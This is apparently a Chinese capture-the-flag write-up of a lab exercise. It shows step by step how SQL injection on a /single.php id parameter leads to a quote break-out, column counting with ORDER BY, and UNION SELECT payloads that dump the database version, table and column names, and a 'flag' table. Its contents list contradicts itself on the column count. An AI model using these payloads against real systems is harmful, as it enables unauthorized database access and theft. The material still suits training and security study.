目录
1：开启靶机访问
2：根据提示确定目标点
3:访问该路径/single.php,并且id传参 发现单引号闭合
4：访问该路径/single.php，并且id传参，发现十个字段
1：开启靶机访问
2：根据提示确定目标点
3:访问该路径/single.php,并且id传参 发现单引号闭合
4：访问该路径/single.php，并且id传参，发现九个字段
/single.php?id=1'order by 10-- asd
5：使用联合查询，知道回显位
/single.php?id=1000' union select 1,2,3,4,5,6,7,8,9-- asd
6：查看数据库版本和名字
/single.php?id=1000' union select 1,version(),3,database(),5,6,7,8,9-- asd
7：查询表名，找到flag表名字
/single.php?id=1000' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database() -- asd
8：查询字段名
/single.php?id=1000' union select 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' -- asd
9：查看字段数据，找到flag
/single.php?id=1000' union select 1,group_concat(flag),3,4,5,6,7,8,9 from flag -- asd
